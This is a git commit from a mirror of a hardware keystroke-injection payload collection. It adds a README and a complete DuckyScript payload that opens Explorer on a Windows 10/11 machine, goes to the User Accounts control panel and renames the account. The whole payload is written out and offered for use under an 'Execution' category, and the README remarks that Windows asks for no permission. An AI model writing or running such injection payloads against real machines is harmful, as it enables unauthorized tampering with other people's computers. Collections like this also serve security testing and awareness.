mirror of https://github.com/hak5/omg-payloads.git
commit
b90ac678ae
|
@ -0,0 +1,21 @@
|
|||
# Change Windows User Name
|
||||
|
||||
This script can be used to change the windows user name.
|
||||
|
||||
**Category**: Execution
|
||||
|
||||
## Description
|
||||
|
||||
This script can be used to change the windows user name.
|
||||
|
||||
The script opens the research app and go to User Accounts settings using the default path `Control Panel\All Control Panel Items\User Accounts`, then go to "Change your account name" option and set the new name, save it and close the app.
|
||||
|
||||
It is absurd that you can do so many things on windows without asking for permissions.
|
||||
|
||||
### Dependencies
|
||||
|
||||
* Set the new name that you want to set
|
||||
|
||||
```DuckyScript
|
||||
DEFINE NEW_NAME example
|
||||
```
|
|
@ -0,0 +1,41 @@
|
|||
REM #############################################
|
||||
REM # |
|
||||
REM # Title : Change Windows User Name |
|
||||
REM # Author : Aleff |
|
||||
REM # Version : 1.0 |
|
||||
REM # Category : Execution |
|
||||
REM # Target : Windows 10/11 |
|
||||
REM # |
|
||||
REM #############################################
|
||||
|
||||
REM Requirements:
|
||||
REM - Nothing
|
||||
|
||||
REM Note:
|
||||
REM - Payload tested on Windows 11 Eng
|
||||
|
||||
REM Set the new name that you want to set
|
||||
DEFINE NEW_NAME example
|
||||
|
||||
DEFAULT_DELAY 500
|
||||
REM Open Windows research
|
||||
GUI
|
||||
DELAY 1000
|
||||
|
||||
REM Search and opern explorer app
|
||||
STRINGLN explorer
|
||||
|
||||
REM Goto search bar and open User Accounts settings
|
||||
REPEAT 3 TAB
|
||||
ENTER
|
||||
STRINGLN Control Panel\All Control Panel Items\User Accounts
|
||||
DELAY 1500
|
||||
|
||||
REM Goto "Change you account name"
|
||||
TAB
|
||||
ENTER
|
||||
|
||||
STRING NEW_NAME
|
||||
TAB
|
||||
ENTER
|
||||
ALT F4
|
Loading…
Reference in New Issue